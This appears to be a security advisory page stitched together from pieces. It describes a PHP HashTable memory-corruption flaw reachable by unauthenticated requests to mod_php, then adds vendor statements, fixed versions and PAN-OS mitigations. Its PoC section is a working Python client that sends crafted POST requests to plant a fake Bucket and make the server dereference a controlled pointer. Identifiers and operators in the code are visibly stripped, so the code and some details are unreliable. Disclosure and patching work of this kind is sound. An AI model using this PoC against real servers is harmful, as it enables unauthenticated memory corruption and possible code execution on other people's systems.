CVE-2026-109618: Impact of Critical Vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) on Palo Alto Networks Products
PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)
Affected component: Zend/zendhash.c, raw-string insertion APIs
Summary
PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.
Details
Affected versions and introduction
The unsafe optimization was introduced by php-src commit:
text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions
The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.
- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.
The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.
Vulnerability root versus triggering fatal
The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.
Three conditions are distinct:
1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.
An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.
The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.
Technical root cause
The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:
c ZENDHASHIFFULLDORESIZE(ht);
addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;
p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);
p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /
zendstringinit() can raise a memory-limit fatal and never return. At that point:
- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.
This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:
c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;
do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);
Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.
Affected APIs
Affected missing-nonnumeric-key paths include:
- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.
zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.
Generic request-variable entry point
Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:
c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }
The resulting path is:
text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()
The following distinction is load-bearing:
text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window
One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.
At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.
SAPI and lifetime boundaries
Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:
c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();
if (!parentreq) { phpapacherequestdtor(r); }
This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.
FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.
PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.
Recommended fix
Restore transactional ordering by allocating the key before publishing the new Bucket:
diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;
Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.
Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.
PoC
The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:
php <?php echo "hi\n";
Run this Python client:
python import socket, struct from urllib.parse import quotefrombytes
host, port, target = "127.0.0.1", 80, "/index.php"
def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""
warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")
fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]
prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")
The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.
Impact
Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.
Other sources
Palo Alto Networks is aware of two critical vulnerabilities in PHP: CVE-2026-109618 and CVE-2026-109619.
CVE-2026-109618 involves a remote code execution vulnerability where handling out-of-memory errors via longjmp() leaves request memory uninitialized due to improper control flow management, allowing attackers to reliably achieve RCE using out-of-memory (OOM) triggers.
CVE-2026-109619 describes a remote code execution vulnerability where longjmp() fatal error handling leaves global memory pointing to freed memory regions. These regions can later be read or branched on during subsequent requests, enabling attackers to execute arbitrary code.
Palo Alto Networks has conducted an evaluation of our product portfolio regarding this issue; a summary of the status across products is provided in the table below. We will update the below table when we get more information.
— Palo Alto Networks
PHP contains an out-of-memory corruption vulnerability that allows for unauthenticated remote code execution.
— CISA
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
— Ubuntu
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
debian/php8.2to a version that resolves this vulnerability.Fixed in 8.2.35-1~deb12u1 - Upgrade
Upgrade
debian/php8.4to a version that resolves this vulnerability.Fixed in 8.4.27-1~deb13u1Fixed in 8.4.27-1 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 12.2.4-h1Fixed in 12.1.10-h3Fixed in 12.1.7-h11Fixed in 12.1.4-h13Fixed in 11.2.16-h1Fixed in 11.2.13-h4Fixed in 11.2.10-h16Fixed in 11.2.7-h23Fixed in 11.2.4-h23Fixed in 11.1.16-h4Fixed in 11.1.13-h16Fixed in 11.1.10-h36Fixed in 11.1.7-h12Fixed in 11.1.6-h40Fixed in 11.1.4-h38Fixed in 10.2.18-h13Fixed in 10.2.16-h12Fixed in 10.2.13-h27Fixed in 10.2.10-h42Fixed in 10.2.7-h39 - Upgrade
Upgrade
ubuntu/php5to a version that resolves this vulnerability.Fixed in 5.5.9+dfsg-1ubuntu4.29+esm18 - Upgrade
Upgrade
ubuntu/php7.0to a version that resolves this vulnerability.Fixed in 7.0.33-0ubuntu0.16.04.16+esm22 - Upgrade
Upgrade
ubuntu/php7.2to a version that resolves this vulnerability.Fixed in 7.2.24-0ubuntu0.18.04.17+esm14 - Upgrade
Upgrade
ubuntu/php7.4to a version that resolves this vulnerability.Fixed in 7.4.3-4ubuntu2.29+esm5 - Upgrade
Upgrade
ubuntu/php8.1to a version that resolves this vulnerability.Fixed in 8.1.2-1ubuntu2.28 - Upgrade
Upgrade
ubuntu/php8.3to a version that resolves this vulnerability.Fixed in 8.3.6-0ubuntu0.24.04.13 - Upgrade
Upgrade
ubuntu/php8.5to a version that resolves this vulnerability.Fixed in 8.5.9-0ubuntu2.1 - Upgrade
Upgrade
ubuntu/php8.5to a version that resolves this vulnerability.Fixed in 8.5.4-0ubuntu1.5 - Upgrade
Upgrade
bitnami/libphpto a version that resolves this vulnerability.Fixed in 8.2.35 - Upgrade
Upgrade
bitnami/libphpto a version that resolves this vulnerability.Fixed in 8.3.36 - Upgrade
Upgrade
bitnami/libphpto a version that resolves this vulnerability.Fixed in 8.4.27 - Upgrade
Upgrade
bitnami/libphpto a version that resolves this vulnerability.Fixed in 8.5.12 - Upgrade
Upgrade
bitnami/phpto a version that resolves this vulnerability.Fixed in 8.2.35 - Upgrade
Upgrade
bitnami/phpto a version that resolves this vulnerability.Fixed in 8.3.36 - Upgrade
Upgrade
bitnami/phpto a version that resolves this vulnerability.Fixed in 8.4.27 - Upgrade
Upgrade
bitnami/phpto a version that resolves this vulnerability.Fixed in 8.5.12 - Upgrade
Upgrade
bitnami/php-minto a version that resolves this vulnerability.Fixed in 8.2.35 - Upgrade
Upgrade
bitnami/php-minto a version that resolves this vulnerability.Fixed in 8.3.36 - Upgrade
Upgrade
bitnami/php-minto a version that resolves this vulnerability.Fixed in 8.4.27 - Upgrade
Upgrade
bitnami/php-minto a version that resolves this vulnerability.Fixed in 8.5.12 - Upgrade
Upgrade
debian/php8.4to a version that resolves this vulnerability.Fixed in 8.4.27-1~deb13u1 - Upgrade
Upgrade
debian/php8.4to a version that resolves this vulnerability.Fixed in 8.4.27-1 - Upgrade
Upgrade
alpine/php82to a version that resolves this vulnerability.Fixed in 8.2.35-r0 - Upgrade
Upgrade
alpine/php83to a version that resolves this vulnerability.Fixed in 8.3.36-r0 - Upgrade
Upgrade
alpine/php84to a version that resolves this vulnerability.Fixed in 8.4.27-r0 - Upgrade
Upgrade
alpine/php85to a version that resolves this vulnerability.Fixed in 8.5.12-r0 - Upgrade
Upgrade
PAN-OS 10.2to a version that resolves this vulnerability.Fixed in 10.2.18-h13 - Upgrade
Upgrade
PAN-OS 11.1to a version that resolves this vulnerability.Fixed in 11.1.16-h4 - Upgrade
Upgrade
PAN-OS 11.2to a version that resolves this vulnerability.Fixed in 11.2.16-h1 - Upgrade
Upgrade
PAN-OS 12.1to a version that resolves this vulnerability.Fixed in 12.1.10-h3 - Upgrade
Upgrade
PAN-OS 12.2to a version that resolves this vulnerability.Fixed in 12.2.4-h1 - Configuration
Enable threat prevention on inbound traffic to management services and enable Threat IDs 543004, 97622, 97623, 97624, 97625, 97643, 97647, 97649, 97652, 97653, 97656, 97657, 97658, 97659, 97662, 97663, 97664, 97670, 97671, 97672, 97673, 97674, 97676, 97677, 97678 using Applications and Threats content version 9162, 9163, 9164 and later.
PAN-OS Threat Prevention Inbound management-service threat prevention and Threat IDs = enabled - Configuration
Decrypt inbound traffic to the management interface so the firewall can inspect it.
PAN-OS management interface Inbound traffic decryption = enabled - Configuration
Replace the Certificate for Inbound Traffic Management.
PAN-OS management interface Inbound Traffic Management certificate = replaced - Configuration
Route incoming traffic for the MGT port through a DP port, such as by enabling a management profile on a DP interface for management access.
PAN-OS management access MGT traffic path = DP port - Compensating control
Restrict access to the PAN-OS and Panorama management interface to trusted internal IP addresses.
Event History
Frequently Asked Questions
What access does an attacker need to exploit this issue?
The issue is described as remotely exploitable through request handling. An attacker needs to trigger an out-of-memory condition in a vulnerable request-processing context.
Is the out-of-memory condition considered reliably triggerable?
Yes. The advisory states that multiple OOM strategies can consistently trigger the affected condition, which can result in remote code execution.